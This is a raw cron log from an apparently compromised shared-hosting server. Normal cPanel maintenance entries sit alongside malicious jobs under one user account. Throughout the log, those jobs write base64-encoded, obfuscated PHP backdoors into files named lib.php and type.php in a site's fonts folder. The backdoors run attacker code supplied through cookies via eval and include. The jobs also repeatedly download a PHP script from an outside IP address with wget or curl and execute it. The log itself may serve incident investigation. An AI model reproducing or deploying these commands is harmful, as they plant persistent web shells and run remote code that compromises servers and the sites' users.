Sep  3 00:08:01 ip-184-168-122-23 CROND[971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:09:01 ip-184-168-122-23 CROND[1056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:09:01 ip-184-168-122-23 CROND[1057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:09:01 ip-184-168-122-23 CROND[1058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:09:01 ip-184-168-122-23 CROND[1059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:09:01 ip-184-168-122-23 CROND[1060]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1150]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:10:01 ip-184-168-122-23 CROND[1156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1159]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:10:01 ip-184-168-122-23 CROND[1161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:11:01 ip-184-168-122-23 CROND[1246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:11:01 ip-184-168-122-23 CROND[1248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:11:01 ip-184-168-122-23 CROND[1250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:11:01 ip-184-168-122-23 CROND[1249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:12:01 ip-184-168-122-23 CROND[1351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:12:01 ip-184-168-122-23 CROND[1356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:12:01 ip-184-168-122-23 CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:12:01 ip-184-168-122-23 CROND[1353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:12:01 ip-184-168-122-23 CROND[1354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:13:02 ip-184-168-122-23 CROND[1564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:13:02 ip-184-168-122-23 CROND[1565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:13:02 ip-184-168-122-23 CROND[1566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:13:02 ip-184-168-122-23 CROND[1567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:14:01 ip-184-168-122-23 CROND[1662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:14:01 ip-184-168-122-23 CROND[1664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:14:01 ip-184-168-122-23 CROND[1665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:14:01 ip-184-168-122-23 CROND[1666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:14:01 ip-184-168-122-23 CROND[1667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:15:01 ip-184-168-122-23 CROND[1751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:15:01 ip-184-168-122-23 CROND[1757]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1755]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:15:01 ip-184-168-122-23 CROND[1763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:16:01 ip-184-168-122-23 CROND[1891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:16:01 ip-184-168-122-23 CROND[1892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:16:01 ip-184-168-122-23 CROND[1896]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:16:01 ip-184-168-122-23 CROND[1895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:16:01 ip-184-168-122-23 CROND[1898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:16:01 ip-184-168-122-23 CROND[1899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:17:01 ip-184-168-122-23 CROND[1987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:17:01 ip-184-168-122-23 CROND[1989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:17:01 ip-184-168-122-23 CROND[1991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:17:01 ip-184-168-122-23 CROND[1992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:18:01 ip-184-168-122-23 CROND[2152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:18:01 ip-184-168-122-23 CROND[2154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:18:01 ip-184-168-122-23 CROND[2163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:18:01 ip-184-168-122-23 CROND[2164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:18:01 ip-184-168-122-23 CROND[2155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:19:01 ip-184-168-122-23 CROND[2258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:19:01 ip-184-168-122-23 CROND[2259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:19:01 ip-184-168-122-23 CROND[2260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:19:01 ip-184-168-122-23 CROND[2261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:20:01 ip-184-168-122-23 CROND[2347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:20:01 ip-184-168-122-23 CROND[2349]: (root) CMD (/usr/lib64/sa/sa1 1 1)
